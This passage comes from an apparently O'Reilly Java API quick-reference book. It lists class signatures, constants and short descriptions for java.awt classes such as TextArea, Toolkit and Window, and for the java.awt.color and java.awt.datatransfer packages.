 | public static final int WINDOW_BORDER ; | =8
 | public static final int WINDOW_TEXT ; | =9
 | public static final SystemColor windowBorder ; |
 | public static final SystemColor windowText ; |
// | Public Methods Overriding Color
1.2 | public PaintContext createContext (java.awt.image.ColorModel cm, Rectangle r, java.awt.geom.Rectangle2D r2d, java.awt.geom.AffineTransform xform, RenderingHints hints); |
 | public int getRGB (); |
 | public String toString (); |
}

Hierarchy: Object-->Color(Paint(Transparency),Serializable)-->SystemColor(Serializable)

Type Of: Too many fields to list.

TextArea | Java 1.0
java.awt | serializable AWT component PJ1.1(mod)

This class is a GUI component that displays and optionally edits multiline text. The appendText(), insertText(), and replaceText() methods provide various techniques for specifying text to appear in the TextArea. Many important TextArea methods are defined by its TextComponent superclass. See also TextComponent and TextField.

The four-argument version of the TextArea() constructor allows you to specify a scrollbar display policy for the TextArea object. Personal Java environments can define a scrolling mechanism other than scrollbars. In this case, the scrollbar display policy can be ignored.

public class TextArea extends TextComponent {
// | Public Constructors
 | public TextArea (); |
 | public TextArea (String text); |
 | public TextArea (int rows, int columns); |
 | public TextArea (String text, int rows, int columns); |
1.1 | public TextArea (String text, int rows, int columns, int scrollbars); |
// | Public Constants
1.1 | public static final int SCROLLBARS_BOTH ; | =0
1.1 | public static final int SCROLLBARS_HORIZONTAL_ONLY ; | =2
1.1 | public static final int SCROLLBARS_NONE ; | =3
1.1 | public static final int SCROLLBARS_VERTICAL_ONLY ; | =1
// | Property Accessor Methods (by property name)
 | public int getColumns (); | default:0
1.1 | public void setColumns (int columns); |
1.1 | public Dimension getMinimumSize (); | Overrides:Component
1.1 | public Dimension getMinimumSize (int rows, int columns); |
1.1 | public Dimension getPreferredSize (); | Overrides:Component
1.1 | public Dimension getPreferredSize (int rows, int columns); |
 | public int getRows (); | default:0
1.1 | public void setRows (int rows); |
1.1 | public int getScrollbarVisibility (); | default:0
// | Public Instance Methods
1.1 | public void append (String str); |
1.1 | public void insert (String str, int pos); |
1.1 | public void replaceRange (String str, int start, int end); |
// | Protected Methods Overriding TextComponent
 | protected String paramString (); |
// | Public Methods Overriding Component
 | public void addNotify (); |
// | Deprecated Public Methods
# | public void appendText (String str); | synchronized
# | public void insertText (String str, int pos); | synchronized
# | public Dimension minimumSize (); | Overrides:Component
# | public Dimension minimumSize (int rows, int columns); |
# | public Dimension preferredSize (); | Overrides:Component
# | public Dimension preferredSize (int rows, int columns); |
# | public void replaceText (String str, int start, int end); | synchronized
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->TextComponent-->TextArea

Passed To: Toolkit.createTextArea()

TextComponent | Java 1.0
java.awt | serializable AWT component PJ1.1

This class is the superclass of the TextArea and TextField components. It cannot be instantiated itself but provides methods that are common to these two component types. setEditable() specifies whether the text in the component is editable. getText() returns the text in the component, and setText() specifies text to be displayed. getSelectedText() returns the currently selected text in the component, and getSelectionStart() and getSelectionEnd() return the extents of the selected region of text. select() and selectAll() select some and all of the text displayed in the text component, respectively.

See also TextField and TextArea.

public class TextComponent extends Component {
// | No Constructor
// | Event Registration Methods (by event name)
1.1 | public void addTextListener (java.awt.event.TextListener l); | synchronized
1.1 | public void removeTextListener (java.awt.event.TextListener l); | synchronized
// | Property Accessor Methods (by property name)
1.1 | public int getCaretPosition (); | synchronized
1.1 | public void setCaretPosition (int position); | synchronized
 | public boolean isEditable (); |
 | public void setEditable (boolean b); | synchronized
 | public String getSelectedText (); | synchronized
 | public int getSelectionEnd (); | synchronized
1.1 | public void setSelectionEnd (int selectionEnd); | synchronized
 | public int getSelectionStart (); | synchronized
1.1 | public void setSelectionStart (int selectionStart); | synchronized
 | public String getText (); | synchronized
 | public void setText (String t); | synchronized
// | Public Instance Methods
 | public void select (int selectionStart, int selectionEnd); | synchronized
 | public void selectAll (); | synchronized
// | Public Methods Overriding Component
 | public void removeNotify (); |
// | Protected Methods Overriding Component
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected void processTextEvent (java.awt.event.TextEvent e); |
// | Protected Instance Fields
1.1 | protected transient java.awt.event.TextListener textListener ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->TextComponent

Subclasses: TextArea, TextField

TextField | Java 1.0
java.awt | serializable AWT component PJ1.1

This Component displays a single line of optionally editable text. Most of its interesting methods are defined by its TextComponent superclass. Use setEchoChar() to specify a character to be echoed when requesting sensitive input, such as a password.

See also TextComponent and TextArea.

public class TextField extends TextComponent {
// | Public Constructors
 | public TextField (); |
 | public TextField (int columns); |
 | public TextField (String text); |
 | public TextField (String text, int columns); |
// | Event Registration Methods (by event name)
1.1 | public void addActionListener (java.awt.event.ActionListener l); | synchronized
1.1 | public void removeActionListener (java.awt.event.ActionListener l); | synchronized
// | Property Accessor Methods (by property name)
 | public int getColumns (); | default:0
1.1 | public void setColumns (int columns); | synchronized
 | public char getEchoChar (); | default:\0
1.1 | public void setEchoChar (char c); |
1.1 | public Dimension getMinimumSize (); | Overrides:Component
1.1 | public Dimension getMinimumSize (int columns); |
1.1 | public Dimension getPreferredSize (); | Overrides:Component
1.1 | public Dimension getPreferredSize (int columns); |
1.2 | public void setText (String t); | Overrides:TextComponent
// | Public Instance Methods
 | public boolean echoCharIsSet (); |
// | Protected Methods Overriding TextComponent
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); |
// | Public Methods Overriding Component
 | public void addNotify (); |
// | Protected Instance Methods
1.1 | protected void processActionEvent (java.awt.event.ActionEvent e); |
// | Deprecated Public Methods
# | public Dimension minimumSize (); | Overrides:Component
# | public Dimension minimumSize (int columns); |
# | public Dimension preferredSize (); | Overrides:Component
# | public Dimension preferredSize (int columns); |
# | public void setEchoCharacter (char c); | synchronized
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->TextComponent-->TextField

Passed To: Toolkit.createTextField()

TexturePaint Java 1.2
java.awt

This implementation of Paint is used to perform Java 2D drawing and filling operations with a texture or pattern of colors defined in a BufferedImage object.

When you create a TexturePaint object, you must specify the BufferedImage that defines the texture. You must also specify a rectangle that defines both the initial position of the image and the tile size with which the image is replicated. Typically, you specify a rectangle with its upper-left corner at (0,0) and a width and height equal to the width and height of the image

public class TexturePaint implements Paint {
// | Public Constructors
 | public TexturePaint (java.awt.image.BufferedImage txtr, java.awt.geom.Rectangle2D anchor);
// | Public Instance Methods
 | public java.awt.geom.Rectangle2D getAnchorRect ();
 | public java.awt.image.BufferedImage getImage ();
// | Methods Implementing Paint
 | public PaintContext createContext (java.awt.image.ColorModel cm, Rectangle deviceBounds, java.awt.geom.Rectangle2D userBounds, java.awt.geom.AffineTransform xform, RenderingHints hints);
// | Methods Implementing Transparency
 | public int getTransparency ();
}

Hierarchy: Object-->TexturePaint(Paint(Transparency))

Toolkit | Java 1.0
java.awt | PJ1.1(mod)

This abstract class defines methods that, when implemented, create platform-dependent peers for each of the Component types in java.awt. Java supports its platform-independent GUI interface by implementing a subclass of Toolkit for each platform. Portable programs should never use these methods to create peers directly--they should use the Component classes themselves. A Toolkit object cannot be instantiated directly. The getToolkit() method of Component returns the Toolkit being used for a particular component.

The Toolkit class also defines methods that you can use directly. The static method getDefaultToolkit() returns the default Toolkit that is in use. getScreenSize() returns the screen size in pixels, and getScreenResolution() returns the resolution in dots per inch. sync() flushes all pending graphics output, which can be useful for animation. Other methods of interest include beep(), getSystemClipboard(), createCustomCursor(), and addAWTEventListener(). getPrintJob() is part of the Java 1.1 printing API. In Personal Java environments, printing support is optional, and this method can throw an exception.

public abstract class Toolkit {
// | Public Constructors
 | public Toolkit (); |
// | Public Class Methods
 | public static Toolkit getDefaultToolkit (); | synchronized
1.1 | public static String getProperty (String key, String defaultValue); |
// | Protected Class Methods
1.1 | protected static Container getNativeContainer (Component c); |
// | Event Registration Methods (by event name)
1.2 | public void removeAWTEventListener (java.awt.event.AWTEventListener listener); |
// | Property Accessor Methods (by property name)
 | public abstract java.awt.image.ColorModel getColorModel (); |
1.2 | public int getMaximumCursorColors (); | constant
1.1 | public int getMenuShortcutKeyMask (); | constant
 | public abstract int getScreenResolution (); |
 | public abstract Dimension getScreenSize (); |
1.1 | public abstract java.awt.datatransfer.Clipboard getSystemClipboard (); |
1.1 | public final EventQueue getSystemEventQueue (); |
// | Public Instance Methods
1.2 | public void addAWTEventListener (java.awt.event.AWTEventListener listener, long eventMask); |
1.2 | public void addPropertyChangeListener (String name, java.beans.PropertyChangeListener pcl); | synchronized
1.1 | public abstract void beep (); |
 | public abstract int checkImage (Image image, int width, int height, java.awt.image.ImageObserver observer); |
1.2 | public Cursor createCustomCursor (Image cursor, Point hotSpot, String name) throws IndexOutOfBoundsException; |
1.2 | public java.awt.dnd.DragGestureRecognizer createDragGestureRecognizer (Class abstractRecognizerClass, java.awt.dnd.DragSource ds, Component c, int srcActions, java.awt.dnd.DragGestureListener dgl); | constant
1.2 | public abstract java.awt.dnd.peer.DragSourceContextPeer createDragSourceContextPeer (java.awt.dnd.DragGestureEvent dge) throws java.awt.dnd.InvalidDnDOperationException; |
1.2 | public abstract Image createImage (java.net.URL url); |
1.1 | public Image createImage (byte[ ] imagedata); |
1.2 | public abstract Image createImage (String filename); |
 | public abstract Image createImage (java.awt.image.ImageProducer producer); |
1.1 | public abstract Image createImage (byte[ ] imagedata, int imageoffset, int imagelength); |
1.2 | public Dimension getBestCursorSize (int preferredWidth, int preferredHeight); |
1.2 | public final Object getDesktopProperty (String propertyName); | synchronized
 | public abstract Image getImage (java.net.URL url); |
 | public abstract Image getImage (String filename); |
1.1 | public abstract PrintJob getPrintJob (Frame frame, String jobtitle, java.util.Properties props); |
 | public abstract boolean prepareImage (Image image, int width, int height, java.awt.image.ImageObserver observer); |
1.2 | public void removePropertyChangeListener (String name, java.beans.PropertyChangeListener pcl); | synchronized
 | public abstract void sync (); |
// | Protected Instance Methods
 | protected abstract java.awt.peer.ButtonPeer createButton (Button target); |
 | protected abstract java.awt.peer.CanvasPeer createCanvas (Canvas target); |
 | protected abstract java.awt.peer.CheckboxPeer createCheckbox (Checkbox target); |
 | protected abstract java.awt.peer.CheckboxMenuItemPeer createCheckboxMenuItem (CheckboxMenuItem target); |
 | protected abstract java.awt.peer.ChoicePeer createChoice (Choice target); |
1.1 | protected java.awt.peer.LightweightPeer createComponent (Component target); |
 | protected abstract java.awt.peer.DialogPeer createDialog (Dialog target); |
 | protected abstract java.awt.peer.FileDialogPeer createFileDialog (FileDialog target); |
 | protected abstract java.awt.peer.FramePeer createFrame (Frame target); |
 | protected abstract java.awt.peer.LabelPeer createLabel (Label target); |
 | protected abstract java.awt.peer.ListPeer createList (java.awt.List target); |
 | protected abstract java.awt.peer.MenuPeer createMenu (Menu target); |
 | protected abstract java.awt.peer.MenuBarPeer createMenuBar (MenuBar target); |
 | protected abstract java.awt.peer.MenuItemPeer createMenuItem (MenuItem target); |
 | protected abstract java.awt.peer.PanelPeer createPanel (Panel target); |
1.1 | protected abstract java.awt.peer.PopupMenuPeer createPopupMenu (PopupMenu target); |
 | protected abstract java.awt.peer.ScrollbarPeer createScrollbar (Scrollbar target); |
1.1 | protected abstract java.awt.peer.ScrollPanePeer createScrollPane (ScrollPane target); |
 | protected abstract java.awt.peer.TextAreaPeer createTextArea (TextArea target); |
 | protected abstract java.awt.peer.TextFieldPeer createTextField (TextField target); |
 | protected abstract java.awt.peer.WindowPeer createWindow (Window target); |
1.1 | protected abstract EventQueue getSystemEventQueueImpl (); |
1.2 | protected void initializeDesktopProperties (); | empty
1.2 | protected Object lazilyLoadDesktopProperty (String name); | constant
1.1 | protected void loadSystemColors (int[ ] systemColors); | empty
1.2 | protected final void setDesktopProperty (String name, Object newValue); | synchronized
// | Protected Instance Fields
1.2 | protected final java.util.Map desktopProperties ; |
1.2 | protected final java.beans.PropertyChangeSupport desktopPropsSupport ; |
// | Deprecated Public Methods
# | public abstract String[ ] getFontList (); |
# | public abstract FontMetrics getFontMetrics (Font font); |
// | Deprecated Protected Methods
1.1# | protected abstract java.awt.peer.FontPeer getFontPeer (String name, int style); |
}

Returned By: Component.getToolkit(), Toolkit.getDefaultToolkit(), Window.getToolkit(), java.awt.peer.ComponentPeer.getToolkit()

Transparency Java 1.2
java.awt

The integer constants defined by this interface identify the three types of transparency supported by Java 2D. Although the Transparency interface is implemented only by a couple of Java 2D classes, the constants it defines are more widely used. These constants are:

OPAQUE

All colors are fully opaque, with no transparency. The alpha value of every pixel is 1.0.

BITMASK

Colors are either fully opaque or fully transparent, as specified by the bits in a bit mask. That is, each pixel has 1 bit associated with it that specifies whether the pixel is opaque (alpha is 1.0) or transparent (alpha is 0.0).

TRANSLUCENT

Colors may be totally opaque, totally transparent, or translucent. This model of transparency uses an alpha channel that is wider than 1 bit and supports a number of alpha transparency levels between 1.0 and 0.0.

public abstract interface Transparency {
// | Public Constants
 | public static final int BITMASK ; | =2
 | public static final int OPAQUE ; | =1
 | public static final int TRANSLUCENT ; | =3
// | Public Instance Methods
 | public abstract int getTransparency (); |
}

Implementations: Paint, java.awt.image.ColorModel

Window | Java 1.0
java.awt | serializable AWT component PJ1.1(mod)

This class represents a top-level window with no borders or menu bar. Window is a Container with BorderLayout as its default layout manager. Window is rarely used directly; its subclasses Frame and Dialog are more commonly useful.

show() (which overrides the show() method of Component) makes a Window visible and brings it to the front of other windows. toFront() brings a window to the front, and toBack() buries a window beneath others. pack() is an important method that initiates layout management for the window, setting the window size to match the preferred size of the components contained within the window. getToolkit() returns the Toolkit() in use for this window. Call dispose() when a Window is no longer needed, to free its window system resources.

Although the Window class is part of the Personal Java API, Personal Java implementations can prohibit the creation of Window objects. In this case, the Window() constructor throws an exception.

public class Window extends Container {
// | Public Constructors
1.2 | public Window (Window owner); |
 | public Window (Frame owner); |
// | Event Registration Methods (by event name)
1.1 | public void addWindowListener (java.awt.event.WindowListener l); | synchronized
1.1 | public void removeWindowListener (java.awt.event.WindowListener l); | synchronized
// | Property Accessor Methods (by property name)
1.1 | public Component getFocusOwner (); |
1.2 | public java.awt.im.InputContext getInputContext (); | Overrides:Component
1.1 | public java.util.Locale getLocale (); | Overrides:Component
1.2 | public Window[ ] getOwnedWindows (); |
1.2 | public Window getOwner (); |
1.1 | public boolean isShowing (); | Overrides:Component
 | public Toolkit getToolkit (); | Overrides:Component
 | public final String getWarningString (); |
// | Public Instance Methods
1.2 | public void applyResourceBundle (java.util.ResourceBundle rb); |
1.2 | public void applyResourceBundle (String rbName); |
 | public void dispose (); |
 | public void pack (); |
 | public void toBack (); |
 | public void toFront (); |
// | Public Methods Overriding Container
 | public void addNotify (); |
1.2 | public void setCursor (Cursor cursor); | synchronized
// | Protected Methods Overriding Container
1.1 | protected void processEvent (AWTEvent e); |
// | Public Methods Overriding Component
1.2 | public void hide (); |
 | public void show (); |
// | Protected Methods Overriding Object
1.2 | protected void finalize () throws Throwable; |
// | Protected Instance Methods
1.1 | protected void processWindowEvent (java.awt.event.WindowEvent e); |
// | Deprecated Public Methods
1.1# | public boolean postEvent (Event e); | Overrides:Component
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Container-->Window

Subclasses: Dialog, Frame, javax.swing.JWindow

Passed To: Toolkit.createWindow(), Window.Window(), java.awt.event.WindowEvent.WindowEvent(), javax.swing.JWindow.JWindow()

Returned By: Window.{getOwnedWindows(), getOwner()}, java.awt.event.WindowEvent.getWindow(), javax.swing.SwingUtilities.windowForComponent()

Previous | Home | Next
8.1. The java.applet Package | Book Index | 10. The java.awt.color Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.color Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 10. The java.awt.color Package

The java.awt.color package includes the abstract ColorSpace class, which defines methods necessary for converting colors between arbitrary color spaces. The package also contains implementations of the ColorSpace class based on data contained in ICC profile files. (The ICC is the international color standards body.) Most applications do not need to use this package; it is required only for applications that perform sophisticated image processing or require extremely accurate device-independent color display. Figure 10-1 shows the class hierarchy of this package, which is new in Java 1.2.

This package does not contain classes for representing colors. See the java.awt.Color class instead.

Figure 10-1. The java.awt.color package

CMMException | Java 1.2
java.awt.color | serializable unchecked

Signals that an error has occurred in the internal color space management code.

public class CMMException extends RuntimeException {
// | Public Constructors
 | public CMMException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->CMMException

ColorSpace Java 1.2
java.awt.color

This abstract class encapsulates a color space: a system of representing colors using some number of floating-point color components. For examples, sRGB is a proposed standard color space that represents colors in terms of red, green, and blue components, while CIEXYZ is an international standard color space that represents colors in terms of three color components named X, Y, and Z. Typically, only applications that are doing image processing or are concerned with very precise color reproduction need to use this class.

ColorSpace does not have a public constructor. You can obtain an instance by calling the static getInstance() method and passing in one of the CS_ constants to specify the type of color space you want. Alternatively, implement and instantiate your own concrete subclass. Each ColorSpace object has methods to convert a color to and from the standard sRGB and CIEXYZ color spaces. This ensures that any color, regardless of its color space, can be converted to the red, green, and blue values used by computer display devices. It also ensures that a color represented in an arbitrary color space can be transformed to any other color space by first converting to an intermediate CIEXYZ representation.

public abstract class ColorSpace {
// | Protected Constructors
 | protected ColorSpace (int type, int numcomponents); |
// | Public Constants
 | public static final int CS_CIEXYZ ; | =1001
 | public static final int CS_GRAY ; | =1003
 | public static final int CS_LINEAR_RGB ; | =1004
 | public static final int CS_PYCC ; | =1002
 | public static final int CS_sRGB ; | =1000
 | public static final int TYPE_2CLR ; | =12
 | public static final int TYPE_3CLR ; | =13
 | public static final int TYPE_4CLR ; | =14
 | public static final int TYPE_5CLR ; | =15
 | public static final int TYPE_6CLR ; | =16
 | public static final int TYPE_7CLR ; | =17
 | public static final int TYPE_8CLR ; | =18
 | public static final int TYPE_9CLR ; | =19
 | public static final int TYPE_ACLR ; | =20
 | public static final int TYPE_BCLR ; | =21
 | public static final int TYPE_CCLR ; | =22
 | public static final int TYPE_CMY ; | =11
 | public static final int TYPE_CMYK ; | =9
 | public static final int TYPE_DCLR ; | =23
 | public static final int TYPE_ECLR ; | =24
 | public static final int TYPE_FCLR ; | =25
 | public static final int TYPE_GRAY ; | =6
 | public static final int TYPE_HLS ; | =8
 | public static final int TYPE_HSV ; | =7
 | public static final int TYPE_Lab ; | =1
 | public static final int TYPE_Luv ; | =2
 | public static final int TYPE_RGB ; | =5
 | public static final int TYPE_XYZ ; | =0
 | public static final int TYPE_YCbCr ; | =3
 | public static final int TYPE_Yxy ; | =4
// | Public Class Methods
 | public static ColorSpace getInstance (int colorspace); |
// | Public Instance Methods
 | public abstract float[ ] fromCIEXYZ (float[ ] colorvalue); |
 | public abstract float[ ] fromRGB (float[ ] rgbvalue); |
 | public String getName (int idx); |
 | public int getNumComponents (); |
 | public int getType (); |
 | public boolean isCS_sRGB (); |
 | public abstract float[ ] toCIEXYZ (float[ ] colorvalue); |
 | public abstract float[ ] toRGB (float[ ] colorvalue); |
}

Subclasses: ICC_ColorSpace

Passed To: Color.{Color(), getColorComponents(), getComponents()}, java.awt.image.ColorConvertOp.ColorConvertOp(), java.awt.image.ColorModel.ColorModel(), java.awt.image.ComponentColorModel.ComponentColorModel(), java.awt.image.DirectColorModel.DirectColorModel(), java.awt.image.PackedColorModel.PackedColorModel()

Returned By: Color.getColorSpace(), ColorSpace.getInstance(), java.awt.image.ColorModel.getColorSpace()

ICC_ColorSpace Java 1.2
java.awt.color

This concrete subclass of ColorSpace defines a color space based on an ICC_Profile object that represents color space profile data in a format defined by the International Color Consortium (ICC). See http://www.color.org for information about ICC standards.

public class ICC_ColorSpace extends ColorSpace {
// | Public Constructors
 | public ICC_ColorSpace (ICC_Profile profile);
// | Public Instance Methods
 | public ICC_Profile getProfile ();
// | Public Methods Overriding ColorSpace
 | public float[ ] fromCIEXYZ (float[ ] colorvalue);
 | public float[ ] fromRGB (float[ ] rgbvalue);
 | public float[ ] toCIEXYZ (float[ ] colorvalue);
 | public float[ ] toRGB (float[ ] colorvalue);
}

Hierarchy: Object-->ColorSpace-->ICC_ColorSpace

ICC_Profile Java 1.2
java.awt.color

This class represents an International Color Consortium (ICC) color space profile. For details about the profile format, see the ICC Profile Format Specification, Version 3.4, at http://www.color.org. Only applications working with custom or specialized color spaces ever need to use this class.

ICC_Profile does not have a public constructor. Obtain an instance by calling the static getInstance() method. There are versions of this method that read profile data from a java.io.InputStream, a string, and an array of bytes. The fourth version of this method takes one of the CS_ constants defined by the ColorSpace class and reads a built-in profile for that color space. (In Sun's Java 1.2 implementation, the profile data for these built-in standard color spaces is in the directory jre/lib/cmm.)

public class ICC_Profile {
// | No Constructor
// | Public Constants
 | public static final int CLASS_ABSTRACT ; | =5
 | public static final int CLASS_COLORSPACECONVERSION ; | =4
 | public static final int CLASS_DEVICELINK ; | =3
 | public static final int CLASS_DISPLAY ; | =1
 | public static final int CLASS_INPUT ; | =0
 | public static final int CLASS_NAMEDCOLOR ; | =6
 | public static final int CLASS_OUTPUT ; | =2
 | public static final int icAbsoluteColorimetric ; | =3
 | public static final int icCurveCount ; | =8
 | public static final int icCurveData ; | =12
 | public static final int icHdrAttributes ; | =56
 | public static final int icHdrCmmId ; | =4
 | public static final int icHdrColorSpace ; | =16
 | public static final int icHdrCreator ; | =80
 | public static final int icHdrDate ; | =24
 | public static final int icHdrDeviceClass ; | =12
 | public static final int icHdrFlags ; | =44
 | public static final int icHdrIlluminant ; | =68
 | public static final int icHdrMagic ; | =36
 | public static final int icHdrManufacturer ; | =48
 | public static final int icHdrModel ; | =52
 | public static final int icHdrPcs ; | =20
 | public static final int icHdrPlatform ; | =40
 | public static final int icHdrRenderingIntent ; | =64
 | public static final int icHdrSize ; | =0
 | public static final int icHdrVersion ; | =8
 | public static final int icPerceptual ; | =0
 | public static final int icRelativeColorimetric ; | =1
 | public static final int icSaturation ; | =2
 | public static final int icSigAbstractClass ; | =1633842036
 | public static final int icSigAToB0Tag ; | =1093812784
 | public static final int icSigAToB1Tag ; | =1093812785
 | public static final int icSigAToB2Tag ; | =1093812786
 | public static final int icSigBlueColorantTag ; | =1649957210
 | public static final int icSigBlueTRCTag ; | =1649693251
 | public static final int icSigBToA0Tag ; | =1110589744
 | public static final int icSigBToA1Tag ; | =1110589745
 | public static final int icSigBToA2Tag ; | =1110589746
 | public static final int icSigCalibrationDateTimeTag ; | =1667329140
 | public static final int icSigCharTargetTag ; | =1952543335
 | public static final int icSigCmyData ; | =1129142560
 | public static final int icSigCmykData ; | =1129142603
 | public static final int icSigColorSpaceClass ; | =1936744803
 | public static final int icSigCopyrightTag ; | =1668313716
 | public static final int icSigDeviceMfgDescTag ; | =1684893284
 | public static final int icSigDeviceModelDescTag ; | =1684890724
 | public static final int icSigDisplayClass ; | =1835955314
 | public static final int icSigGamutTag ; | =1734438260
 | public static final int icSigGrayData ; | =1196573017
 | public static final int icSigGrayTRCTag ; | =1800688195
 | public static final int icSigGreenColorantTag ; | =1733843290
 | public static final int icSigGreenTRCTag ; | =1733579331
 | public static final int icSigHead ; | =1751474532
 | public static final int icSigHlsData ; | =1212961568
 | public static final int icSigHsvData ; | =1213421088
 | public static final int icSigInputClass ; | =1935896178
 | public static final int icSigLabData ; | =1281450528
 | public static final int icSigLinkClass ; | =1818848875
 | public static final int icSigLuminanceTag ; | =1819635049
 | public static final int icSigLuvData ; | =1282766368
 | public static final int icSigMeasurementTag ; | =1835360627
 | public static final int icSigMediaBlackPointTag ; | =1651208308
 | public static final int icSigMediaWhitePointTag ; | =2004119668
 | public static final int icSigNamedColor2Tag ; | =1852009522
 | public static final int icSigNamedColorClass ; | =1852662636
 | public static final int icSigOutputClass ; | =1886549106
 | public static final int icSigPreview0Tag ; | =1886545200
 | public static final int icSigPreview1Tag ; | =1886545201
 | public static final int icSigPreview2Tag ; | =1886545202
 | public static final int icSigProfileDescriptionTag ; | =1684370275
 | public static final int icSigProfileSequenceDescTag ; | =1886610801
 | public static final int icSigPs2CRD0Tag ; | =1886610480
 | public static final int icSigPs2CRD1Tag ; | =1886610481
 | public static final int icSigPs2CRD2Tag ; | =1886610482
 | public static final int icSigPs2CRD3Tag ; | =1886610483
 | public static final int icSigPs2CSATag ; | =1886597747
 | public static final int icSigPs2RenderingIntentTag ; | =1886597737
 | public static final int icSigRedColorantTag ; | =1918392666
 | public static final int icSigRedTRCTag ; | =1918128707
 | public static final int icSigRgbData ; | =1380401696
 | public static final int icSigScreeningDescTag ; | =1935897188
 | public static final int icSigScreeningTag ; | =1935897198
 | public static final int icSigSpace2CLR ; | =843271250
 | public static final int icSigSpace3CLR ; | =860048466
 | public static final int icSigSpace4CLR ; | =876825682
 | public static final int icSigSpace5CLR ; | =893602898
 | public static final int icSigSpace6CLR ; | =910380114
 | public static final int icSigSpace7CLR ; | =927157330
 | public static final int icSigSpace8CLR ; | =943934546
 | public static final int icSigSpace9CLR ; | =960711762
 | public static final int icSigSpaceACLR ; | =1094929490
 | public static final int icSigSpaceBCLR ; | =1111706706
 | public static final int icSigSpaceCCLR ; | =1128483922
 | public static final int icSigSpaceDCLR ; | =1145261138
 | public static final int icSigSpaceECLR ; | =1162038354
 | public static final int icSigSpaceFCLR ; | =1178815570
 | public static final int icSigTechnologyTag ; | =1952801640
 | public static final int icSigUcrBgTag ; | =1650877472
 | public static final int icSigViewingCondDescTag ; | =1987405156
 | public static final int icSigViewingConditionsTag ; | =1986618743
 | public static final int icSigXYZData ; | =1482250784
 | public static final int icSigYCbCrData ; | =1497588338
 | public static final int icSigYxyData ; | =1501067552
 | public static final int icTagReserved ; | =4
 | public static final int icTagType ; | =0
 | public static final int icXYZNumberX ; | =8
// | Public Class Methods
 | public static ICC_Profile getInstance (java.io.InputStream s) throws java.io.IOException; |
 | public static ICC_Profile getInstance (String fileName) throws java.io.IOException; |
 | public static ICC_Profile getInstance (byte[ ] data); |
 | public static ICC_Profile getInstance (int cspace); |
// | Property Accessor Methods (by property name)
 | public int getColorSpaceType (); |
 | public byte[ ] getData (); |
 | public byte[ ] getData (int tagSignature); |
 | public int getMajorVersion (); |
 | public int getMinorVersion (); |
 | public int getNumComponents (); |
 | public int getPCSType (); |
 | public int getProfileClass (); |
// | Public Instance Methods
 | public void setData (int tagSignature, byte[ ] tagData); |
 | public void write (String fileName) throws java.io.IOException; |
 | public void write (java.io.OutputStream s) throws java.io.IOException; |
// | Protected Methods Overriding Object
 | protected void finalize (); |
}

Subclasses: ICC_ProfileGray, ICC_ProfileRGB

Passed To: ICC_ColorSpace.ICC_ColorSpace(), java.awt.image.ColorConvertOp.ColorConvertOp()

Returned By: ICC_ColorSpace.getProfile(), ICC_Profile.getInstance(), java.awt.image.ColorConvertOp.getICC_Profiles()

ICC_ProfileGray Java 1.2
java.awt.color

A specialized subclass of ICC_Profile that is used to represent certain grayscale color spaces that meet criteria that allow color space conversions to be optimized. Applications never need to use this class.

public class ICC_ProfileGray extends ICC_Profile {
// | No Constructor
// | Public Instance Methods
 | public float getGamma ();
 | public short[ ] getTRC ();
// | Public Methods Overriding ICC_Profile
 | public float[ ] getMediaWhitePoint ();
}

Hierarchy: Object-->ICC_Profile-->ICC_ProfileGray

ICC_ProfileRGB Java 1.2
java.awt.color

A specialized subclass of ICC_Profile that is used to represent certain RGB color spaces that meet criteria that allow color space conversions to be optimized. Applications never need to use this class.

public class ICC_ProfileRGB extends ICC_Profile {
// | No Constructor
// | Public Constants
 | public static final int BLUECOMPONENT ; | =2
 | public static final int GREENCOMPONENT ; | =1
 | public static final int REDCOMPONENT ; | =0
// | Public Instance Methods
 | public float[ ][ ] getMatrix (); |
// | Public Methods Overriding ICC_Profile
 | public float getGamma (int component); |
 | public float[ ] getMediaWhitePoint (); |
 | public short[ ] getTRC (int component); |
}

Hierarchy: Object-->ICC_Profile-->ICC_ProfileRGB

ProfileDataException | Java 1.2
java.awt.color | serializable unchecked

Signals that an error occurred while reading ICC profile data.

public class ProfileDataException extends RuntimeException {
// | Public Constructors
 | public ProfileDataException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->ProfileDataException

Previous | Home | Next
9.1. The java.awt Package | Book Index | 11. The java.awt.datatransfer Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.datatransfer Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 11. The java.awt.datatransfer Package

The java.awt.datatransfer package contains classes and interfaces that define a framework for user-driven interapplication and intra-application data transfer. It also contains classes that support data transfer through cut-and-paste. The Java 2 platform java.awt.dnd package implements drag-and-drop using the framework defined by this package.

The Transferable interface is implemented by any class that allows data to be transferred. The DataFlavor class defines the type of data to be transferred. Clipboard and ClipboardOwner are used for implementing cut-and-paste. StringSelection is a utility class that enables easy data transfer of strings. Figure 11-1 shows the class hierarchy of this package. See Chapter 6, "Data Transfer", for more details about data transfer.

Figure 11-1. The java.awt.datatransfer package

Clipboard | Java 1.1
java.awt.datatransfer | PJ1.1

This class represents a clipboard on which data may be transferred using the cut-and-paste metaphor. When data is cut, it should be encapsulated in a Transferable object and registered with a Clipboard object by calling setContents(). A Clipboard can hold only a single piece of data at a time, so a ClipboardOwner object must be specified when data is placed on the clipboard. This object is notified that it no longer owns the clipboard when the data is replaced by other, more recent, data.

When a paste is requested by the user, an application requests the data on the clipboard by calling getContents(), which returns a Transferable object. The methods of this object can be used to negotiate a mutually compatible data format and then actually transfer the data.

A clipboard name is passed to the Clipboard() constructor and may be retrieved with getName(). This name is not actually used in Java 1.1, however.

